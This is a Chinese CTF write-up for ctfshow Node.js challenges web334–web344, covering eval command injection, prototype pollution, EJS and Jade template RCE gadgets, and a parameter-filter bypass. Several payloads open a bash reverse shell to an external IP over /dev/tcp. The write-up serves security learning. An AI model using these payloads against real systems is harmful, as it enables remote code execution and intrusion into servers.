目录
①web334
②web335
③web336
④web337
⑤web338
⑥web339
⑦web340
⑧web341
⑨web342-343
⑩web344
①web334
进来是一个登录界面
下载附件,简单代码审计
表单传ctfshow 123456即可
②web335
进来提示
get上传eval参数执行nodejs代码
payload:
?eval=require('child_process').execSync('tac f*').toString()
③web336
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
(不能使用通配符)
④web337
上来给到源码
?a[x]=1&b[x]=2
a={'x':'1'}
b={'x':'2'}console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同
⑤web338
进来拿到源码
贴两段关键的
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); }});module.exports = router;
common.js
module.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}
考的是原型链污染
payload:
{"a":1,"__proto__":{"ctfshow":"36dboy"}}
⑥web339
关键代码
api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});});module.exports = router;
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');function User(){this.username='';this.password='';
}
function normalUser(){this.user
}/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow===flag){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); }});module.exports = router;
flag值未知,用上一题的思路走不通
这时候看api.js的代码,发现存在可以在login污染query参数 再在api利用Function反弹shell
Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新的函数可以接受任意数量的参数并执行query字符串中的JavaScript代码。
而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个语句的结果。
贴出payload
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"')"}}
在login污染
在api触发
⑦web340
贴出不一样的地方
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false; };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'}); }});module.exports = router;
这里要注意的是,user.userinfo.isAdmin原本就存在,不会向上找,修改Object.isAdmin无用
所以还得利用api反弹shell
但这次要污染两层
payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"')"}}}
⑧web341
我测,api没了还有啥利用点
只能利用index.js中的res.render了
var express = require('express');
var router = express.Router();/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');res.render('index');
});module.exports = router;
在app.js中发现是ejs
直接ejs rce梭了
payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');var __tmp2"}}}
printenv查看环境变量可以看到flag
⑨web342-343
还是利用index.js中的res.render
在app.js中发现是jade
直接用jade rce payload
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');//"}}}
注意这里发包时要设置Content-Type: application/json
⑩web344
理想的payload:
?query={"name":"admin","password":"ctfshow","isVIP":true}
为了绕过","过滤
补充前置知识
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析
因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式 ,所以要编码c
最终payload:
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}